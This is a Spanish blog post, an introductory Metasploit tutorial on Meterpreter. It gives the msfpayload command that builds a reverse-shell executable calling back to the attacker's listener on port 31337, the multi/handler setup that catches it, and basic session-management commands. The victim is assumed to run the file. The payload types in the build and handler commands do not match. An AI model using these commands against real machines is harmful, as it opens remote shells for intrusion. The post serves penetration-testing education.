19 dic 2012

Coqueteando con Metasploit: Meterpreter I

Siguiendo con la saga de Metasploit, hoy iniciaremos una nueva subsaga relacionada conMeterpreter.Pero, ¿qué es Meterpreter?  Según la web de metasploit unleashed y de forma muy resumida es:

Meterpreter is an advanced, dynamically extensible payload 

 Para mas información recomiendo muy encarecidamente que repaséis la web que he comentado antes ;) .Ésta herramienta permite, una vez se ha obtenido acceso al equipo de la víctima, realizar muy diversas acciones como son descargar ficheros, escalar privilegios, utilizar un keylogger o activar la webcam entre otras muchas posibilidades que veremos a lo largo de las entradas que compondrán esta subsaga.Lo primero que haremos será crear un ejecutable con un payload de meterpreter contenido como se ha hecho en otras ocasiones, para ello utilizaremos msfpayload:

msfpayload windows/shell_reverse_tcp LHOST=192.168.0.108 LPORT=31337 X > payload.exe

  Los parámetros importantes de la anterior orden y que se utilizarán posteriormente en el handler (veremos después que es esto) son los siguientes:[-] windows/shell_reverse_tcp  => El payload escogido.[-] LHOST=192.168.0.108  => La IP del equipo donde está ejecutándose Metasploit.[-] LPORT=31337  => El puerto en el que Metasploit está escuchando peticiones.

Lo que hará el binario creado es, una vez sea ejecutado, intentara conectar en la IP y puertos especificados y ofrecernos una shell inversa.  NOTA: En esta entrada supondremos que la víctima ejecuta el archivo payload.exe, la forma de que ésta lo haga o de evadir los antivirus no la trataremos pues ya hemos hablado de ello en otras ocasiones.El siguiente paso es poner a Metasploit escuchando posibles conexiones de la víctima, para ello lo lanzamos con el clásico:

y preparamos el handler, su funcionalidad es esperar conexiones del payload especifico, en el puerto e IP especificados:

use multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.0.108set LPORT 31337exploit

 Donde:[-] use multi/handler => Seleccionamos el handler.[-] set PAYLOAD windows/meterpreter/reverse_tcp => El payload escogido anteriormente en la creación del binario que enviamos a la víctima.[-] set LHOST 192.168.0.108 => Nuestra IP donde está el handler escuchando, es el mismo que hemos especificado anteriormente en la creación del ejecutable enviado a la víctima.[-] set LPORT 31337 => El puerto en el que Metasploit estará escuchando peticiones. Debe ser el mismo que el escogido en el ejecutable enviado a la víctima.[-] exploit => Lanza el handler.

Una vez lanzado esperará a que la víctima ejecute el binario (payload.exe) para que éste establezca conexión con nosotros. Una vez lo haga obtendremos una shell de meterpreter (el prompt cambiará).

Puesto que nos encontramos en un post de introducción veremos los comandos básicos, en próximas ediciones veremos cosas mas interesantes, pero primero es necesario conocer estas ordenes pues nos serán de utilidad en cosas más avanzadas.

Sesiones en Metasploit
 En Metasploit es posible tener varias sesiones de meterpreter en ejecución simultáneamente, para listar todas las existentes podemos utilizar:
sessions -l

 Esto nos mostrará todas las que se encuentran abiertas ordenadas en función de un Id, para recuperar una en concreto basta con:

sessions -i <Id de la sesión>

Una vez hayamos acabado de trabajar con una sesión podemos cerrarla, para realizar esta tarea hay dos posibilidades:

Si estamos dentro de una sesión:        quitSino estamos dentro de ninguna sesión:        sessions -k <Id de la sesión>
Existen más posibles parámetros para el comando sessions, basta usar el flag -h para verlos.Con todo esto cerramos esta primera entrada a modo de introducción, en las siguientes ya iremos "escavando" en las posibilidades que ofrece meterpreter.Nos leemos en breve ;)

1 comentario:

  1. [...] Siguiendo con la saga de Metasploit, hoy iniciaremos una nueva subsaga relacionada conMeterpreter. Pero, ¿qué es Meterpreter?  [...]

    ResponderEliminar